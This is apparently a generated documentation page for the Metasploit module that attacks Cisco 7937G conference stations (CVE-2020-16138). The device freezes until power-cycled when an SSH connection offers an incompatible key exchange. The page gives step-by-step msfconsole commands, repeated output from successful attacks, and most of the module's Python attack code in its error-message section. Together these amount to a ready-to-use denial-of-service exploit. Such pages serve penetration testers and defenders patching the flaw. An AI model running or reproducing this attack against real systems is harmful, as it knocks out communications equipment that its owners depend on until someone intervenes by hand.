Cisco 7937G Denial-of-Service Attack - Metasploit


This page contains detailed information about how to use the auxiliary/dos/cisco/cisco_7937g_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Cisco 7937G Denial-of-Service Attack
Module: auxiliary/dos/cisco/cisco_7937g_dos
Source code: modules/auxiliary/dos/cisco/cisco_7937g_dos.py
Disclosure date: 2020-06-02
Last modification time: 2020-08-21 13:13:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-16138

This module exploits a bug in how the conference station handles incoming SSH connections that provide an incompatible key exchange. By connecting with an incompatible key exchange, the device becomes nonresponsive until it is manually power cycled.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/cisco/cisco_7937g_dos
msf auxiliary(cisco_7937g_dos) > show targets
    ... a list of targets ...
msf auxiliary(cisco_7937g_dos) > set TARGET target-id
msf auxiliary(cisco_7937g_dos) > show options
    ... show and set options ...
msf auxiliary(cisco_7937g_dos) > exploit

Knowledge Base

Vulnerable Application

Cisco 7937G Conference Station. This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.

Description

This module exploits a bug in how the conference station handles incoming SSH connections that provide an incompatible key exchange. By connecting with an incompatible key exchange, the device becomes nonresponsive until it is manually power cycled.

Verification Steps

  1. Obtain a Cisco 7937G Conference Station.
  2. Enable SSH Access on the device.
  3. Start msfconsole
  4. Do: use auxiliary/dos/cisco/cisco_7937G_dos
  5. Do: set RHOST 192.168.1.10
  6. Do: run
  7. The conference station should now be nonresponsive until it is power cycled

Options

No options

Scenarios

Cisco 7937G Running Firmware Version SCCP-1-4-5-7

Successful Scenario:

msf5 > use auxiliary/dos/cisco/cisco_7937G_dos 
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run

[*] Starting server...
[*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3)
[-] 192.168.110.209 - Exception: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 - Traceback (most recent call last):
[-] 192.168.110.209 -   File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2083, in run
[-] 192.168.110.209 -     self._handler_table[ptype](self, m)
[-] 192.168.110.209 -   File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2198, in _negotiate_keys
[-] 192.168.110.209 -     self._parse_kex_init(m)
[-] 192.168.110.209 -   File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2354, in _parse_kex_init
[-] 192.168.110.209 -     raise SSHException(
[-] 192.168.110.209 - paramiko.ssh_exception.SSHException: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 - 
[*] 192.168.110.209 - dos non-reset attack completed!
[*] 192.168.110.209 - Errors are intended.
[*] 192.168.110.209 - Device must be power cycled to restore functionality.
[*] Auxiliary module execution completed

Unsuccessful Scenario:

msf5 > use auxiliary/dos/cisco/cisco_7937G_dos 
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run

[*] Starting server...
[-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled.
[*] Auxiliary module execution completed

Cisco 7937G Running Firmware Version SCCP-1-4-5-5

Successful Scenario:

msf5 > use auxiliary/dos/cisco/cisco_7937G_dos 
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run

[*] Starting server...
[*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3)
[-] 192.168.110.209 - Exception: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 - Traceback (most recent call last):
[-] 192.168.110.209 -   File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2083, in run
[-] 192.168.110.209 -     self._handler_table[ptype](self, m)
[-] 192.168.110.209 -   File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2198, in _negotiate_keys
[-] 192.168.110.209 -     self._parse_kex_init(m)
[-] 192.168.110.209 -   File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2354, in _parse_kex_init
[-] 192.168.110.209 -     raise SSHException(
[-] 192.168.110.209 - paramiko.ssh_exception.SSHException: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 - 
[*] 192.168.110.209 - dos non-reset attack completed!
[*] 192.168.110.209 - Errors are intended.
[*] 192.168.110.209 - Device must be power cycled to restore functionality.
[*] Auxiliary module execution completed

Unsuccessful Scenario:

msf5 > use auxiliary/dos/cisco/cisco_7937G_dos 
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run

[*] Starting server...
[-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled.
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage

Here is how the dos/cisco/cisco_7937g_dos auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/cisco/cisco_7937g_dos

msf6 auxiliary(dos/cisco/cisco_7937g_dos) > show info

       Name: Cisco 7937G Denial-of-Service Attack
     Module: auxiliary/dos/cisco/cisco_7937g_dos
    License: GNU Public License v2.0
       Rank: Normal
  Disclosed: 2020-06-02

Provided by:
  Cody Martin

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  rhost    None             yes       Target address
  timeout  15               yes       Timeout in seconds

Description:
  This module exploits a bug in how the conference station handles 
  incoming SSH connections that provide an incompatible key exchange. 
  By connecting with an incompatible key exchange, the device becomes 
  nonresponsive until it is manually power cycled.

References:
  https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
  https://nvd.nist.gov/vuln/detail/CVE-2020-16138

Module Options

This is a complete list of options available in the dos/cisco/cisco_7937g_dos auxiliary module:

msf6 auxiliary(dos/cisco/cisco_7937g_dos) > show options

Module options (auxiliary/dos/cisco/cisco_7937g_dos):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   rhost    None             yes       Target address
   timeout  15               yes       Timeout in seconds

Advanced Options

Here is a complete list of advanced options supported by the dos/cisco/cisco_7937g_dos auxiliary module:

msf6 auxiliary(dos/cisco/cisco_7937g_dos) > show advanced

Module advanced options (auxiliary/dos/cisco/cisco_7937g_dos):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/cisco/cisco_7937g_dos module can do:

msf6 auxiliary(dos/cisco/cisco_7937g_dos) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/cisco/cisco_7937g_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/cisco/cisco_7937g_dos) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Python module dependency (socket) is missing, cannot continue

Here is a relevant code snippet related to the "Python module dependency (socket) is missing, cannot continue" error message:

60:	    return ''.join(random.choice(seq) for _ in range(size))
61:	
62:	def run(args):
63:	    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
64:	    if dependency1_missing:
65:	        logging.error('Python module dependency (socket) is missing, cannot continue')
66:	        logging.error('Please execute pip3 install socket.')
67:	        return
68:	    if dependency2_missing:
69:	        logging.error('Python module dependency (paramiko) is missing, cannot continue')
70:	        logging.error('Please execute pip3 install paramiko.')

Please execute pip3 install socket.

Here is a relevant code snippet related to the "Please execute pip3 install socket." error message:

61:	
62:	def run(args):
63:	    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
64:	    if dependency1_missing:
65:	        logging.error('Python module dependency (socket) is missing, cannot continue')
66:	        logging.error('Please execute pip3 install socket.')
67:	        return
68:	    if dependency2_missing:
69:	        logging.error('Python module dependency (paramiko) is missing, cannot continue')
70:	        logging.error('Please execute pip3 install paramiko.')
71:	        return

Python module dependency (paramiko) is missing, cannot continue

Here is a relevant code snippet related to the "Python module dependency (paramiko) is missing, cannot continue" error message:

64:	    if dependency1_missing:
65:	        logging.error('Python module dependency (socket) is missing, cannot continue')
66:	        logging.error('Please execute pip3 install socket.')
67:	        return
68:	    if dependency2_missing:
69:	        logging.error('Python module dependency (paramiko) is missing, cannot continue')
70:	        logging.error('Please execute pip3 install paramiko.')
71:	        return
72:	
73:	    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
74:	    sock.settimeout(int(args['timeout']))

Please execute pip3 install paramiko.

Here is a relevant code snippet related to the "Please execute pip3 install paramiko." error message:

65:	        logging.error('Python module dependency (socket) is missing, cannot continue')
66:	        logging.error('Please execute pip3 install socket.')
67:	        return
68:	    if dependency2_missing:
69:	        logging.error('Python module dependency (paramiko) is missing, cannot continue')
70:	        logging.error('Please execute pip3 install paramiko.')
71:	        return
72:	
73:	    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
74:	    sock.settimeout(int(args['timeout']))
75:	    try:

Device doesn't appear to be functioning (already DoS'd?) or SSH is not enabled.

Here is a relevant code snippet related to the "Device doesn't appear to be functioning (already DoS'd?) or SSH is not enabled." error message:

73:	    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
74:	    sock.settimeout(int(args['timeout']))
75:	    try:
76:	        sock.connect((args['rhost'], 22))
77:	    except OSError:
78:	        logging.error("Device doesn't appear to be functioning (already DoS'd?) or SSH is not enabled.")
79:	        return
80:	
81:	    transport = paramiko.Transport(sock=sock, disabled_algorithms={"kex": ["diffie-hellman-group-exchange-sha1",
82:	                                                                           "diffie-hellman-group14-sha1",
83:	                                                                           "diffie-hellman-group1-sha1"]})

Errors are intended.

Here is a relevant code snippet related to the "Errors are intended." error message:

85:	    ssh_pass = create_rand_cred(random.randint(7, 10))
86:	    try:
87:	        transport.connect(username=ssh_uname, password=ssh_pass)
88:	    except (paramiko.ssh_exception.SSHException, OSError, paramiko.SSHException):
89:	        logging.info("DoS non-reset attack completed!")
90:	        logging.info("Errors are intended.")
91:	        logging.info("Device must be power cycled to restore functionality.")
92:	        return
93:	
94:	    return
95:

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References

See Also

Check also the following modules related to this module:

Authors

  • Cody Martin

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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